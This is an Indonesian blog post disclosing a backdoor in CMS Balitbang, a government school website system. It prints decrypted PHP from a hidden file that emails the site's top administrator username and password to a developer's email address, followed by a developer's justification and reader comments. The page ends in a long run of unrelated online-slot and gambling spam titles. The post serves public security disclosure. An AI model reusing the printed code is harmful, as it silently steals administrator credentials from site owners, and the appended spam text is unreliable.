Skandal Programer CMS Balitbang Kemdiknas RI

Cms Balitbang adalah sebuah cms yang bersifaf open source artinya kita dapat menggunakan ataupun memodifikasinya dengan sayrat dan aturran tertentu. Cms ini telah banyak digunakan oleh sekolah - sekolah yang ada diseluruh Indonesia karena kemudahan serta fasilitas yang terdapat di cms tersebut. Namun dibalik semua kemudahan dan fasilitas yang disediakan oleh cms tersebut ternyata cms ini memiliki sebuah rahasiah. Terdapat sebuah Bug/Bacdoor yang diduga ditanam secara sengaja oleh develop cms tersebut. Saya sendiri merasa terkejut ketika mendengar berita ini dari salah seorang teman dan berikut adalah kutipan beritanya


Kali ini kami ingin membongkar skandal programer CMS Balitbang yang di gunakan oleh banyak lembaga pendidikan SD,SMP dan SMA/K, Sebuah sistem Model Website Sekolah yg di rancang oleh kajianwebsite.org dengan Balitbang Kemdiknas RI , hingga saat ini yang menggunakan sistem tsb berkisar 100 ribu lebih lembaga pendidikan baik SD,SMP dan SMA/K.

Awal cerita rekan kami sebut saja "Mawar" dari salah satu lembaga pendidikan ingin meningkatkan IT di lembaganya salah satunya membangun sebuah website resmi. Dari informasi yg kami dapat Mawar di tawari untuk menggunakan sistem CMS Balitbang tsb karena pemakainya sudah sangat banyak dan ada pelatihanya oleh petinggi di lembaga tsb. Mawarpun kemudian konsultasi dengan kami bagus atau tidak sistem tsb di gunakan.

Kamipun mulai mencari tahu tentang sistem CMS Balitbang tsb dari berbagai sumber dan di dapat banyak sekali penggunaya di seluruh Indonesia dan kamipun melihat ada pelatihanya juga kami berpikir wajarlah itu sistem yg bangun sekelas Kementrian, dengan keyakinan hal tsb kamipun mulai mencari dimana bisa mendapatkan CMS Balitbang tsb akhirnya ketemu dan kami download versi terbarunya "CMS Balitbang 3.5.2". 

Kami mulai membentuk tim di medan terdiri dari 5 anggota, kita semua sepakat akan melakukan analisa 1 hari dengan sistem tsb. Hari berikutnya pun tiba, semua anggota sudah siap menyapaikan hasilnya.

1. Di temukan sebuah bug upload yg sangat berbahaya di versi sebelumnya versi 3.4

2. Ini yg kami tidak habis pikir, terdapat celah yg sengaja di buat oleh sang programer di semua versi termasuk versi CMS Balitbang 3.5.2.

Pembahasan:

1. Masalah bug itu wajar namanya sistem tidak ada yg sempurna dan walau sempat menjadi target oleh kawan2 yg jahil untuk melakukan hacking di sistem tsb "anda bisa cek di google banyak sekali tutor hack sistem tsb" tapi masalah bug ini selesai setelah di rilis versi terbarunya.

2. Hal yg paling kami sorot adalah hal yg ke dua ini tentang penanaman backdor/celah oleh sang programer, sebenarnya kami sering menumukan hal seperti ini di banyak CMS yg pernah kami teliti, tapi yg membuat kami mengelus dada adalah ini sistem yg di rancang bersama Kemdiknas RI.

Hal Teknik :

Jadi inti nya di sistem tsb telah di taruh sebuah file yg di rancang untuk mengirim User dan Password dari admin yg memakai sistem tsb ke salah satu email.

Kami sebut saja filenya bernama "admin2.php" di letakan di folder "functions"

Kode yg terdapat dalam file tsb sebagai berikut:






Terlhiat sangat jelas sang programer sengaja merahasiakan isi kode script yg asli dengan meng'enkripsi seperti yg terlihat di atas. Kamipun berusaha cari tahu apa yg ada di balik kode tsb dengen mencoba mendecrypt code tsb tapi kok masih ter'encrypt ....... ?? ternyata sang programer sengaja membuat encrypt tsb samapi 7 kali perulangan :D itu mungkin di lakukan untuk mengecoh bila ada yg ingin mendecrypt

Hasil Decrypt:

=======
include "koneksi.php"; 
include "fungsi_pass.php"; 
data = ""; 
$query="select userid, count(menu) as jum from user_level group by userid order by jum desc "; $alan=mysql_query($query) or die ("query gagal"); 
if($row=mysql_fetch_array($alan)){ 
$query2="select * from user where userid='$row[userid]' "; 
$alan2=mysql_query($query2) or die ("query gagal"); 
$r=mysql_fetch_array($alan2); 
$data .="top admin : $r[username] ----- Password : ".unhex($r[password],82).""; 
} 
$data .= ""; 
$email = unhex("64gbfc1b580c1c1bab3cb92848abfc4c0b3beb3",82); 
$headers = "From: \"Komunitas $nmsekolah\" <$webmail>\r\n"; 
$headers .= "Content-type: text/html\r\n"; 
mail($email, "Komunitas $nmsekolah :: Pesan baru ::", $data, $headers); 
echo "Pesan terkirim"; 
========

Nah itulah kode yg asli dari situ kami bisa jelasakan bahwa inti barisan kode tsb 
1. Mencari data user dan password yg mempunya hak akses penuh dalam sistem tsb 
2. Melakukan peracangan format email yg di sertai dari data user dan password yg di dapat tadi.
3. Menetukan email yg akan di tuju di sini email pun di ecrypt lagi :) perhatikan baris kode 
- "$email = unhex("64gbfc1b580c1c1bab3cb92848abfc4c0b3beb3",82);" di encrypt menggunnkana fungsi "unhex" fungsi "unhex" itu pun di buat sendiri oleh programer. Setelah kami berusaha mendercypt di hasilkan sebuah alamat email "alanrm82@yahoo.com" itulah email tujuan nya.
4. Melakukan perintah pengiriman format email yg tadi telah di rancang dengan beserta ada user dan password sistem tsb ke email "alanrm82@yahoo.com".

++++++++++++++++++++++++++++

Dengan itu sang programer dapat setiap saat masuk ke sistem di lebih dari 100 Ribu lembaga pendidikan yg menggunakan sistem tsb secara tidak sah.

images







Kami menyarankan bagi pengguna sistem CMS Balitbang yg melihat artikel ini untuk di kroscek ulang tentang sistem yg anda gunakan mengenai privasi dan keamanan data yg ada di Lembaga pendidikan anda.

Masuk peristiwa awal kami pun menyarakan agar Mawar rekan kami untuk tidak menggunakan sistem CMS Balitbang tsb.

Mungkin Pesan kami buat kawan2 Programer janganlah menjatuhkan harga diri anda sendiri denga hal2 konyol seperti kasus yg kami bahas ini.



++++++++++++++++++++++++++++++++++++
Ada Klarifikasi di komentar dari salah satu anggota tim CMS Balitbang kami masukan di sini :
---------------------------------------- 1 ---
Choirul Anam => 

"Saya baru saja mendapatkan link pembicaraan ini dari seorang kenalan. Saya adalah salah satu anggota team yang ikut andil dlam melahirkan CMS ini. Saya akan klarifikasi. Teman2 mohon tidak langsung menjustifikasi negatif tentang pemasangan backdor tersebut. Ini ada latar belakangnya. Pada awal kelahirannya dulu CMS ini tidak hanya dipakai oleh sekolah, tetapi dipakai juga oleh dunia bisnis, bahkan pemasangannya dibisniskan oleh beberapa pengembang website komersial. Kita tidak menginginkan hal ini terjadi. Maka disepakati pemasangan backdor ini. Intinya back dor tersebut dipasang untuk pengamanan intra, artinya jangan sampai CMS ini digunakan untuk dikomersialkan atau untuk webiste dengan isi negatif. Kita tidak punya mahsud apa2. Tidak akan mengambil keuntungan apapun dari pemasangan back dor tersebut. Dan perlu teman2 ketahui, pembuatan CMS ini bertujuan untuk mempermudah sekolah dalam membuat website, bahkan yang ikut pelatihannya akan memperoleh domain dan hosting gratis. Itu yang dapat saya klarifikasi, semoga ada manfaatnya, terima kasih"

Kami membalas =>

Terimakasih bung atas atensinya klarifikasi hal ini, di sinipun kami juga tidak ingin melakukan pemojokan kepada siapapun. Kami mengharap siapaun yng mengembangkan sebuah sistem opensource untuk juga mengutamakan Privasi dari pengguna sistem tsb. Mungkin ada cara lain yg bisa di lakukan selain membuat privasi pengguna terganggu untuk mennaggulangi kasus comersialisasi tsb. Coba kita ambil contoh terburuk bila sistem terjadi masalah data misal manipulasi negatif, apa bukanya pihak yg menanam backdor malah yg menjadi tujuan Fitnah. Sebelumnya terimkasih atas Klarifikasinya bung akan kami akan masukan di note kami ini."

---------------------------------------- 2 ---
Choirul Anam => 
Sebenarnya masalah backdor itu sudah pernah ada yang memunculkan sekitar 3 tahun yang lalu dari Malang. Dan sudah dibicarakan dengan pihak Balitbang, hasilnya Balitbang meminta agar backdornya tetap ada agar bisa dipakai sebagai bahan utk memonitor jumlah pengguna CMS ini. Saya mengikuti pengembangannya sampai versi 3.50, dilakukan pada Desember 2012. Versi sesudahnya saya tidak ikut lagi karena kesibukan di sekolah semakin banyak. Untuk usulnya itu, saya akan coba teruskan ke pihak Balitbang. Terima kasih. Saya off dulu yaaa, mau berangkat ronda.

Nama Disamarkan => 

ngutip perkataan abang developernya, "... hasilnya Balitbang meminta agar backdornya tetap ada agar bisa dipakai sebagai bahan utk memonitor jumlah pengguna CMS ini"

apakah memonitor pengguna cms dengan cara mengirim user + pass admin ke email tertentu? apakah tidak ada cara yang lebih 'terhormat'? saya bersyukur sekali malah, ada cms buatan anak indonesia yang bisa digunakan untuk mempermudah kelancaran proses go onlne sekolah2 di indonesia, tapi saya tidak habis pikir, kenapa bisa hal semacam ini terpikir oleh developer2 handal? ataukah ini memang sengaja di rencanakan / permintaan dari pihak balitbang sendiri? kita sebagai rakyat indonesia yang mendambakan keadilan harus memulai dari hal2 kecil seperti ini, karena kalo hal seperti ini saja tidak bisa diselesaikan, apalagi masalah besar yang lain?
++++++++++++++++++++++++++++++++++++

Sumber : Kopaci

11 Responses to "Skandal Programer CMS Balitbang Kemdiknas RI"

  1. kalau soal programer csm saya belum paham mas, jadi haru bolak balik baca nih

    ReplyDelete
  2. Ficri PebriyanaJuly 7, 2014 at 7:16 AM

    termasuk website sekolah saya yang menggunakan cms baltibang ini, setelah saya scan website sekolah saya memang terdapat celah, selain itu website sulit di akses jika melalui search engine, akan tetapi bisa di akses ketika langsung mengetik urlnya namun masih terdeteksi virus, dan pada akhirnya website sekolah saya tidak menggunakan cms baltibang lagi hingga sampai saat ini masih dalam pembangunan template...

    ReplyDelete
  3. waduh berat nih kayaknya pembahasannya mas.. saya angkat tangan deh.. yang jelas saya tidak mendukung programer yang nakal....

    ReplyDelete
  4. Akbar BahaullohJune 9, 2017 at 9:22 AM

    itu terlalu memaksa. kalau untuk memantau pengguna, kita bisa saja kasih opsi pilihan dalam kebijakan data dan privasi. dimana pengguna boleh memilih mau mengirim data ke pengembang atau tidak.

    ReplyDelete
  5. ya semua itu ada maksud masa bagi source sekolah gratis,,,? hmmm perlu di perkarakan ini ya

    ReplyDelete
  6. saya printscreen ya ... dan sumbernya

    ReplyDelete
  7. Terimakasih mas sudah mengabarkan informasi ini, saya sudah lama penasaran dengan -= =- ternyata sampai 7 kali yah... bener bener... apapun alasannya tidak dibenarkan, karena banyak metode lain yang sangat bisa dipertanggungjawabkan... dengan alasan apapun hal itu tidak diperbolehkan...

    ReplyDelete
  8. LOL MEMONITOR KOK KE ALAMAT EMAIL YAHOO ABAL2. PUNYA PRIBADI LAGI

    Sebenarnya masih banyak bgt yang memakai CMS ini tapi gmn ngasih taunya. Kan dulunya project resmi pemerintah

    ReplyDelete
  9. Saya juga pernah menggunakan CMS Tersebut dan Pada Akhirnya ada yang berkoemntar di Website begini : (TOLONG HAPUS FILE ... SAYA DENGAN MUDAH MASUK KALAU TIDAK DI HAPUS) dan akhirnya saya hapus semua sekalian Sciptnya lalu saya Install Wordpress dan Mendalami CMS Wordpres Hingga bergabung dengan CAFEBISNIS.

    Dan Alhamdulilah sekarang saya menggunakan Bogspot, walau tidak ada system imput data siswa tidak mengapa, karena ada Dapodik dll.

    Yang Kami Herankan Harga Serta Pelayanan tahunan disanapun Termasuk Harga gila-gilaan, Masak sampau 2 juta/tahun. Emangnya Dunia Sekoah itu Dunia Bisnis apa?

    Hosting Luar dengan Segala Unlimited dan bahkan kita bisa mendafta sebagai Reseller hosting saja cuma 600rb/tahun. bisa untuk membantu sekolah lain yang mencari Hosting dengan kita berikan harga murah.

    Pesan Buat Kementrian: Janganlah mnganggap semua sekolah itu kaya, ambilah rata-rata yang tidak mampu, bukan megambil rata-rata yang mampu membayar lebih.

    Semoga Pemerintah mau memahami persoalan sekolah yang ada di pedesaan yang lemah dengan keuangan serta minim ilmu tentang pengelolaan website.

    Pesan saya:
    Semoga adalagi Klarifikasi dari divisidatalitbang.net , cukuplah diisi email pemberitahuan saja Bahwa Script anda di Install di Hosting ini dengan nama domain ini. ga nyampe ke Sandi Pengelola dan Data Pengelola.

    Walaupun digunakan untuk komersil oleh orang lain, biarkan saja mereka mendaat murka Allah, karena sudah ada larangan dari pengembang, dan bagi pengembang, apakah kalian semua tidak di berikan gaji oleh pemerintah? mohon Verifikasinya.

    Andai sudah mendapat gaji, itulah bagimu dan tetaplah bekerja sesui ketentuan yang ada agar Halal bagimu dan Keluargamu.

    Terimakasih dan Mohon maaf atas kelancangan saya berkomentar disini tanpa izin terlebih dahulu.

    ReplyDelete
  10. SMK 1 KarangdadapJuly 14, 2020 at 12:02 PM

    Makasih atas infonya ..

    ReplyDelete
  11. terima kasih infonya..baru tau kalo ada backdoornya balitbang

    ReplyDelete

Komentar yang Anda kirim akan terlebih dahulu di moderasi oleh Admin

nagabet76slot gacorslot online1213141516Slot Online Menghadirkan Pengalaman Digital Yang Didukung Pemrosesan Data Secara Real TimeMahjongways Menganalisis Pola Visual Dan Dinamika Simbol Berdasarkan Pemrosesan Data DigitalMahjongways Mengembangkan Dinamika Permainan Melalui Pengelolaan Data Dan Elemen Visual TerintegrasiAnalisis Komputasi Modern Membantu Memetakan Dinamika Sistem Digital Berdasarkan Data ObservasiMember Baru Mendorong Dinamika Komunitas Digital Menuju Pengalaman Yang Lebih Aktif Dan Menarikslot onlinemahjongwayasarsitektur layananpemrosesan data adaptifmember baruSlot Online Terbaru Menghadirkan AnalisisScatter Hitam Dianalisis Melalui PemetaanPola Scatter Hitam Membentuk Distribusi Visual Yang Dapat Dikaji Menggunakan Komputasi AdaptifArsitektur Teknologi TerdistribusiTeknologi Visualisasi DataMahjongways Mengembangkan Interaksi Visual Melalui Integrasi Simbol Digital Yang DinamisAnalisis Mahjongways Memetakan Dinamika Visual Dan Respons Antarmuka Berbasis DataScatter Hitam Dianalisis Melalui Pemetaan Struktur Simbol Digital Berbasis Komputasi AdaptifAlgoritma Scatter Hitam Membantu Mengidentifikasi Dinamika Pola Melalui Analisis Data ObservasiPg Soft Mengembangkan Sistem Rendering Adaptif Untuk Mendukung Visualisasi Digital ModernTeknologi Pg Soft Mengoptimalkan Pemrosesan Grafis Melalui Arsitektur Rendering TerintegrasiTeknologi Pemodelan Data Membantu Menganalisis Dinamika Informasi Pada Ekosistem Digital ModernArsitektur Komputasi Terdistribusi Meningkatkan Keandalan Pengelolaan Data Pada Platform DigitalTeknologi Kecerdasan Komputasional Mendorong Pengembangan Sistem Digital Yang Lebih AdaptifPemrosesan Data Modern Membantu Memetakan Pola Informasi Melalui Pendekatan Komputasi TerukurTeknologi Integrasi Data Mempermudah Sinkronisasi Informasi Dalam Lingkungan Digital TerpaduVisualisasi Komputasi Modern Membantu Menginterpretasikan Perubahan Pola Pada Sistem Digital KompleksTeknologi Otomasi Data Meningkatkan Efisiensi Pengelolaan Informasi Pada Infrastruktur DigitalModel Komputasi Adaptif Mendukung Pengembangan Teknologi Digital Melalui Analisis Data BerkelanjutanPengembangan Pg Soft Mengintegrasikan Teknologi Rendering Dengan Interaksi Visual Yang ResponsifPg Soft Menerapkan Komputasi Visual Untuk Meningkatkan Efisiensi Pengolahan Elemen DigitalEksplorasi Scatter Hitam Memetakan Distribusi Simbol Melalui Model Analitik Digital TerintegrasiPola Scatter Hitam Dikaji Menggunakan Pendekatan Visualisasi Data Dan Pemodelan StatistikMahjongways Menghadirkan Pendekatan Visual Interaktif Melalui Pemrosesan Simbol Yang AdaptifEksplorasi Mahjongways Mengungkap Perubahan Pola Visual Dalam Lingkungan Digital Terintegrasimahjong ways dalam bingkai desain visual dan budaya digitaljejak klasik menemukan bentuk baru melalui mahjong waysmahjong ways dan perjalanan simbol menuju layar interaktif moderncerita visual mengikuti perkembangan mahjong ways di era teknologimahjong ways dilihat dari sisi kreativitas dan identitas platformperubahan tampilan membawa mahjong ways ke perspektif yang berbedamahjong ways dalam percakapan seputar tradisi dan budaya digitaldari konsep lama ke format baru menelusuri mahjong wayssimbol dan tema mengiringi perjalanan mahjong ways di ruang digitalmahjong ways menjadi bagian dari perubahan desain hiburan moderngame online dan perubahan kebiasaan di tengah budaya internetkomunitas digital menjadi bagian dari perjalanan game onlinegame online dalam potret interaksi sosial di era platform modernjejak mobile membawa game online ke pengalaman yang semakin beragamketika game online bertemu dengan kreativitas dan komunitas digitalgame online dan pergeseran cara menikmati hiburan interaktifdari komunitas ke platform menyusuri perkembangan game onlinedesain visual membentuk identitas baru dalam dunia game onlinegame online di tengah perubahan teknologi dan budaya populerperjalanan game online mengikuti arah baru ekosistem digitaltekanan emosional muncul di tengah kebiasaan judi online yang berulangstres dan judi online menjadi bahasan dalam perubahan kondisi keuanganketika pengeluaran judi online mulai membawa tekanan dalam kehidupanbeban pikiran dapat bertambah seiring kebiasaan judi online berlangsungmasalah keuangan dan stres muncul dalam pembahasan seputar judi onlinejudi online dan tekanan emosional menjadi sorotan di ruang digitaldampak stres mulai dibahas seiring perubahan kebiasaan judi onlinetekanan hidup dan kebiasaan judi online dalam sorotan mediastres finansial menjadi bagian dari pembahasan dampak judi onlinememahami kaitan tekanan emosional dengan kebiasaan judi onlinegame digital mulai masuk dalam sorotan budaya hiburan modernperkembangan game digital menjadi bahasan di tengah perubahan teknologimedia mengulas perjalanan game digital dari konsol menuju platform modernfenomena game digital muncul dalam perbincangan industri hiburangame digital dan perubahan kebiasaan menjadi catatan di era internetsorotan terkini membahas arah baru perkembangan game digitalteknologi interaktif membawa game digital ke percakapan media yang lebih luasgame digital menjadi bagian dari pergeseran budaya hiburan masa kinicatatan media menyoroti perubahan wajah game digital dari waktu ke waktuplatform baru membuka babak berbeda dalam perjalanan game digitaljudi online kembali menjadi sorotan dalam pemberitaan digital terkinimedia menyoroti perkembangan platform judi online di ruang internetfenomena judi online masuk dalam pembahasan seputar budaya digitalberita terkini mengulas perubahan ekosistem judi online masa kinijudi online dan perkembangan teknologi menjadi bahan perbincangan mediasorotan baru membahas pergeseran perilaku di seputar judi onlineruang digital kembali mengangkat pembahasan tentang judi onlineperkembangan internet membawa judi online ke sorotan media terkinicatatan media mengulas fenomena judi online dari sisi digitalperubahan platform menjadi bahasan baru dalam pemberitaan judi onlineandi pratama dan cerita keberuntungan 8 juta di mahjong waysrizky membahas pengalaman 17 juta dalam permainan mahjong wayskisah dimas berawal dari game online hingga hasil 25 jutafajar menjadi perbincangan usai mendapat hasil 12 jutacerita bayu muncul di tengah tren mahjong ways masa kinirio mengulas pengalaman bermain dengan hasil sekitar 19 jutayoga dan perjalanan singkat menuju hasil permainan 7 jutaarif membagikan catatan pribadi soal hasil 14 jutabima dan pengalaman 28 juta yang ramai dibicarakandoni mengungkap cerita di balik hasil 22 juta mahjong wayscerita reza dengan hasil 9 juta dari mahjong ways16 juta jadi bagian pengalaman rangga di game onlinemaulana membahas perolehan 23 juta dari mahjong winsgame digital membawa cerita baru bagi ilham dengan hasil 11 jutahasil 28 juta diceritakan bagus saat memainkan mahjong ways 2yusuf mengulas pengalaman bermain dengan perolehan 14 jutamahjong online dan cerita farhan tentang hasil 8 jutadava mengungkap pengalaman 19 juta saat memainkan game mahjonggame online menjadi bagian cerita akmal dengan hasil 26 jutafauzan dan perolehan 21 juta dalam permainan mahjong winscerita rendi dengan hasil 7 juta dari mahjong ways18 juta jadi pengalaman baru bagi rafli di game onlinemahjong wins menghadirkan cerita hasil 27 juta bagi hendrapengalaman dion dan perolehan 13 juta dalam game digitalhasil 22 juta diceritakan arya setelah memainkan mahjong ways 2fikri mengulas permainan online dengan hasil sekitar 16 jutamahjong online dan kisah ilham soal perolehan 10 jutasatria mengungkap pengalaman 24 juta dalam game mahjonggame online menjadi catatan baru bagi wahyu dengan hasil 15 jutaperolehan 30 juta dikaitkan dengan cerita rehan di mahjong wins